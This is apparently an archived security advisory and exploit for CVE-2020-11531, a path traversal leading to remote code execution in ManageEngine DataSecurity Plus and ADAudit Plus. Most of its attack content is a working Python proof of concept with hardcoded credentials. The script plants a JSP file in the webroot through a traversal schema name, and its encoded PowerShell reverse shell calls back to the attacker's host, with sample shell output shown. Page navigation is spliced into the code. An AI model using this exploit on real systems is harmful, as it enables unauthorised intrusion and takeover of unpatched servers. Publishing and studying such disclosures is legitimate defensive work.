

ManageEngine DataSecurity Plus Path Traversal / Code Execution

Authored by Sahil Dhar, xen1thLabs

Posted May 8, 2020

ManageEngine DataSecurity Plus versions prior to 6.0.1 and ADAudit Plus versions prior to 6.0.3 suffers from a path traversal vulnerability that can lead to remote code execution.

tags | exploit, remote, code execution

advisories | CVE-2020-11531

SHA-256 | 60bdf17fd56c9fb381132939686a98b99f6b36dbdbb84bcc1d07a89ee5e7f57e Download | Favorite | View

Related Files

Share This

LikeTwitterLinkedInRedditDiggStumbleUpon

Change MirrorDownload

XL-2020-001 - DataSecurity Plus Xnode Server - Remote Code Execution via Path Traversal

Identifiers

\* CVE-2020-11531

\* XL-20-001

CVSSv3 score

9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

Vendor

ManageEngine - [https://www.manageengine.com/data-security/] [https://www.manageengine.com/data-security/]

Product

ManageEngine DataSecurity Plus is a two-pronged solution for fighting insider threats, preventing data loss, and meeting compliance requirements. It provides realtime monitoring of filesystem there by help in maintaining the file integrity and combating against ransomware attacks using automated threat response mechanisms. It comes with the features such as File Server Auditing, Data Leak Prevention and Data Risk assessment

Affected products

- All DataSecurity Plus versions prior to 6.0.1 (6011)

- All ADAudit Plus versions prior to 6.0.3 (6032)

Credit

Sahil Dhar - xen1thLabs - Software Labs

Vulnerability summary

ManageEngine DataSecurity Plus's DataEngine Xnode Server application does not validate the database schema name when handling 'DR-SCHEMA-SYNC' request. This allows an authenticated attacker to execute code in the context of DataSecurity Plus application by writing a USP file in the webroot directory using a directory traversal attack.

Technical details

Upon receiving the 'DR-SCHEMA-SYNC' request, the application calls the 'syncDRSchemas()' function of 'DataRepositoryManager' class at line:109 of 'DataRepositoryManager.java' from 'dataengine-xnode.jar' package.

As can be seen at line:126 of function 'syncDRSchemas()', the function concatenates the name of database schema while generating the filename dynamically and write the values passed in a JSON object to it.

```java

109: public static JSONObject syncDRSchemas(DataRepositoryActionRequest request) throws Exception {

110: JSONObject jResponse = new JSONObject();

111: JSONObject jSchemas = request.drSchemaListObj();

112: File schemasFolder = ((Path) Environment.XNODE\_DR\_SCHEMA\_DIR.value()).toFile();

113: schemaMap = new ConcurrentHashMap();

114: if (!schemasFolder.exists()) {

115: schemasFolder.mkdirs();

116: }

117: if (schemasFolder.isDirectory()) {

118: File[] schemaFileList = schemasFolder.listFiles();

119: for (File schemaFile: schemaFileList) {

120: schemaFile.delete();

121: }

122: }

123: Iterator iterator = jSchemas.keys();

124: while (iterator.hasNext()) {

125: String key = (String) iterator.next();

File Archive: December 2022 <

|    |    |    |    |    |    |
|----|----|----|----|----|----|
| Su | Mo | Tu | We | Th | Fr |
| Sa |    |    |    |    |    |
|    |    |    |    | 1  | 2  |
| 3  |    |    |    |    |    |
| 4  | 5  | 6  | 7  | 8  | 9  |
| 10 |    |    |    |    |    |
| 11 | 12 | 13 | 14 | 15 | 16 |
| 17 |    |    |    |    |    |
| 18 | 19 | 20 | 21 | 22 | 23 |
| 24 |    |    |    |    |    |
| 25 | 26 | 27 | 28 | 29 | 30 |
| 31 |    |    |    |    |    |

Top Authors In Last 30 Days

|                                  |
|----------------------------------|
| Red Hat 154 files                |
| Ubuntu 73 files                  |
| LiquidWorm 23 files              |
| Debian 18 files                  |
| malvuln 11 files                 |
| nu11security 11 files            |
| Gentoo 9 files                   |
| Google Security Research 8 files |
| T. Weber 4 files                 |
| Julien Ahrens 4 files            |

File Tags

ActiveX (932)

Advisory (79,754)

Arbitrary (15,694)

BBS (2,859)

Bypass (1,619)

CGI (1,018)

Code Execution (6,926)

Conference (673)

Cracker (840)

CSRF (3,290)

DoS (22,602)

Encryption (2,349)

Exploit (50,359)

File Inclusion (4,165)

File Upload (946)

Firewall (821)

Info Disclosure (2,660)

Intrusion Detection (867)

Java (2,899)

JavaScript (821)

Kernel (6,291)

Local (14,201)

Magazine (586)

Overflow (12,419)

Perl (1,418)

PHP (5,093)

Proof of Concept (2,291)

Protocol (3,435)

Python (1,467)

Remote (30,044)

Root (3,504)

Ruby (594)

Scanner (1,631)

Security Tool (7,777)

Shell (3,103)

Shellcode (1,204)

Sniffer (886)

File Archives

December 2022

November 2022

October 2022

September 2022

August 2022

July 2022

June 2022

May 2022

April 2022

March 2022

February 2022

January 2022

Older

Systems

AIX (426)

Apple (1,926)

BSD (370)

CentOS (55)

Cisco (1,917)

Debian (6,634)

Fedora (1,690)

FreeBSD (1,242)

Gentoo (4,272)

HPUX (878)

iOS (330)

iPhone (108)

IRIX (220)

Juniper (67)

Linux (44,315)

Mac OS X (684)

Mandriva (3,105)

NetBSD (255)

OpenBSD (479)

RedHat (12,469)

Slackware (941)

Solaris (1,607)

```

126:     BufferedWriter bw = new BufferedWriter(new OutputStreamWriter(new
FileOutputStream(Environment.XNODE_DR_SCHEMA_DIR.value() + File.separator + key));
127:     bw.write(jSchemas.getJSONObject(key).toString(2));
128:     bw.close();
129:     Object schema = new XNodeDRSchema(key.replace(".", "json", ""), jSchemas.getJSONObject(key));
130:     schemaMap.put(((DRSchema) schema).getSchemaName(), schema);
131:     LOGGER.info("SYNCHED : DataRepository Schema '" + key + "'");
132: }
133: checkFieldWithMultipleDataTypes();
134: jResponse.put("error_code", 0);
135: return jResponse;
136: }
...

Proof of concept
-----

Using the following exploit code, we can observe that by sending a 'DR-SCHEMA-SYNC' request to the DataEngine
XNode server (h specially crafted schema name, one can write files to the webroot directory of
DataSecurityPlus application and execute arbitrary JAVA code.

```python
#!/usr/bin/env python
# Author: Sahil Dhar (@0x401)

import socket
import sys
import requests
import telnetlib
import threading
import os

from time import sleep
from base64 import b64encode

from requests.packages.urllib3 import disable_warnings
from requests.packages.urllib3.exceptions import InsecureRequestWarning

def reverse_tcp_handler(lport):

    print("[+] Starting reverse handler on port %d" % (lport))

    t = telnetlib.Telnet()

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)

    s.bind(("0.0.0.0", lport))

    s.listen(1)

    conn, addr = s.accept()

    print("[+] Got connection from %s" % addr[0])

    t.sock = conn

    print("[+] whoami ?")

    t.write(b"whoami\n")

    t.interact()

def get_bytearray_payload(lhost,lport):

    cmd = "$client = New-Object System.Net.Sockets.TCPClient(''+lhost+'',''+str(lport)+'');$stream =
$client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
{;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1
| Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '>';$sendbyte = ([text.encoding]::ASCII)
.GetBytes($sendback2);$stream.Write($sendbyte,0,$sendb
yte.Length);$stream.Flush();$client.Close()"}

    r_cmd = ""

    for c in cmd:

        r_cmd += c

        r_cmd += "\x00"

    payload = 'powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc "%s"' %
(b64encode(r_cmd.encode('utf-8'))).decode('utf-8')

    r = ""

    for i in payload:

        r += str(ord(i))

        r += ", "

        r = r[0:-2]

    return r

def send_payload(rhost, rport, web_port, lhost, lport):

    auth =

    '{"username":"atom","password":"chegan","request_timeout":10,"action":"session/authenticate"}'

    shell = '{"action":"dr/dr_schema_sync","request_id":2, "dr_schema_list":
[".././.././../webapps/zap/poc.jsp":{"s":"% Runtime.getRuntime().exec(new String(new byte[]
{"get_bytearray_payload(lhost, %port)"}); %>"}]}'

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    s.connect((rhost,int(rport)))

    s.send(auth.encode('utf-8'))

    sleep(1)

    s.send(shell.encode('utf-8'))

    print("[+] Triggering the shell...")

    r = requests.get("http://%s:%d/poc.jsp<http://%25s:%25d/poc.jsp" % (rhost, web_port))

def main():

    help="%s <rhost> <rport> <web_port> <lhost> <lport>" % (os.path.basename(__file__))

    if len(sys.argv) < 6:

        print(help)

```

Spoof (2,166)	SUSE (1,444)
SQL Injection (16,102)	Ubuntu (8,199)
TCP (2,379)	UNIX (9,159)
Trojan (686)	UnixWare (185)
UDP (676)	Windows (6,511)
Virus (662)	Other
Vulnerability (31,136)	
Web (9,365)	
Whitepaper (3,729)	
x86 (946)	
XSS (17,494)	
Other	

```
os._exit(1)

disable_warnings()

rhost = sys.argv[1]
rport = int(sys.argv[2])
web_port = int(sys.argv[3])
lhost = sys.argv[4]
lport = int(sys.argv[5])
th = threading.Thread(target=reverse_tcp_handler, args=(lport,))
th.start()

send_payload(rhost, rport, web_port, lhost, lport)

if __name__=="__main__":
    main()
...

...

#~ python3 exploit.py 192.168.56.108 29119 8800 192.168.56.1 4444
[+] Starting reverse handler on port 4444
[+] Triggering the shell...
[+] Got connection from 192.168.56.108
[+] whoami ?
windowsx64-pc\windowsx64
PS C:\Program Files (x86)\ManageEngine\DataSecurity Plus\bin>
...

Solution
-----

Update the affected products to their latest version.

Timeline
-----

Date           | Status
-----|-----
04-MAR-2020    | Reported to vendor
13-MAR-2020    | Patch available
05-MAY-2020    | Public disclosure
```

[Login](#) or [Register](#) to add favorites

Site Links


- News by Month
- News Tags
- Files by Month
- File Tags
- File Directory


About Us

- History & Purpose
- Contact Information
- Terms of Service
- Privacy Statement
- Copyright Information

Hosting By

Rokasec

 Follow us on Twitter

 Subscribe to an RSS Feed